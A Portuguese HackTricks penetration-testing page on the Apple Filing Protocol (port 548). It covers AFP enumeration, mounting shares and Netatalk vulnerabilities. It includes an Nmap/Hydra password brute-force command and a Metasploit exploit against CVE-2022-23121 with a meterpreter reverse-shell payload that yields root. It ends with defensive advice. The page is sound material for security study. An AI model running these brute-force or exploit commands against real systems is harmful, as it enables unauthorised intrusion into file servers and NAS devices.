548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
O Apple Filing Protocol (AFP), anteriormente conhecido como AppleTalk Filing Protocol, é um protocolo de rede especializado incluído no Apple File Service (AFS). Ele é projetado para fornecer serviços de arquivo para macOS e o clássico Mac OS. O AFP se destaca por suportar nomes de arquivos em Unicode, permissões no estilo POSIX e ACL, forks de recursos, atributos estendidos nomeados e mecanismos sofisticados de bloqueio de arquivos.
Embora o AFP tenha sido substituído pelo SMB nas versões modernas do macOS (SMB é o padrão desde o OS X 10.9), ainda é encontrado em:
- Ambientes legados de macOS / Mac OS 9
- Aparelhos NAS (QNAP, Synology, Western Digital, TrueNAS…) que incorporam o daemon de código aberto Netatalk
- Redes de sistemas operacionais mistos onde o Time-Machine-over-AFP ainda está habilitado
Porta TCP Padrão: 548 (AFP sobre TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeração
Informações rápidas sobre banner / servidor
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
Scripts NSE úteis para AFP:
Script | O que faz |
---|---|
afp-ls | Lista volumes e arquivos AFP disponíveis |
afp-brute | Força bruta de senha contra login AFP |
afp-serverinfo | Extrai nome do servidor, tipo de máquina, versão AFP, UAMs suportados, etc. |
afp-showmount | Lista compartilhamentos junto com suas ACLs |
afp-path-vuln | Detecta (e pode explorar) travessia de diretório, CVE-2010-0533 |
O script de força bruta NSE pode ser combinado com Hydra/Medusa se mais controle for necessário:
hydra -L users.txt -P passwords.txt afp://<IP>
Interagindo com compartilhamentos
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (usando afpfs-ng
‑ empacotado na maioria das distros)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Uma vez montado, lembre-se de que os clássicos resource-forks do Mac são armazenados como arquivos ocultos ._*
AppleDouble – estes frequentemente contêm metadados interessantes que ferramentas DFIR não detectam.
Vulnerabilidades Comuns & Exploração
Cadeia de RCE não autenticada do Netatalk (2022)
Vários fornecedores de NAS enviaram Netatalk ≤3.1.12. A falta de verificação de limites em parse_entries()
permite que um atacante crie um cabeçalho AppleDouble malicioso e obtenha root remoto antes da autenticação (CVSS 9.8 – CVE-2022-23121). Um relatório completo do NCC Group com PoC explorando o Western-Digital PR4100 está disponível.
O Metasploit (>= 6.3) inclui o módulo exploit/linux/netatalk/parse_entries
que entrega a carga útil via DSI WRITE
.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
Se o alvo estiver executando um firmware afetado do QNAP/Synology, a exploração bem-sucedida resulta em um shell como root.
Overflow de heap OpenSession do Netatalk (2018)
Versões mais antigas do Netatalk (3.0.0 - 3.1.11) são vulneráveis a uma gravação fora dos limites no manipulador DSI OpenSession, permitindo a execução de código não autenticado (CVE-2018-1160). Uma análise detalhada e um PoC foram publicados pela Tenable Research.
Outros problemas notáveis
- CVE-2022-22995 – Redirecionamento de symlink levando a gravação de arquivo arbitrário / RCE quando AppleDouble v2 está habilitado (3.1.0 - 3.1.17).
- CVE-2010-0533 – Traversal de diretório no Apple Mac OS X 10.6 AFP (detectado por
afp-path-vuln.nse
). - Vários bugs de segurança de memória foram corrigidos no Netatalk 4.x (2024) – recomenda-se a atualização em vez de corrigir CVEs individuais.
Recomendações Defensivas
- Desative o AFP a menos que estritamente necessário – use SMB3 ou NFS em vez disso.
- Se o AFP precisar permanecer, atualize o Netatalk para ≥ 3.1.18 ou 4.x, ou aplique firmware do fornecedor que retroceda os patches de 2022/2023/2024.
- Imponha UAMs Fortes (por exemplo, DHX2), desative logins em texto claro e de convidados.
- Restrinja o TCP 548 a sub-redes confiáveis e envolva o AFP dentro de uma VPN quando exposto remotamente.
- Escaneie periodicamente com
nmap -p 548 --script afp-*
em CI/CD para capturar dispositivos rebeldes / rebaixados.
Brute-Force
Referências
- Aviso de Segurança do Netatalk CVE-2022-23121 – "Execução de código arbitrário em parse_entries" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "Explorando um Bug de 18 Anos (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.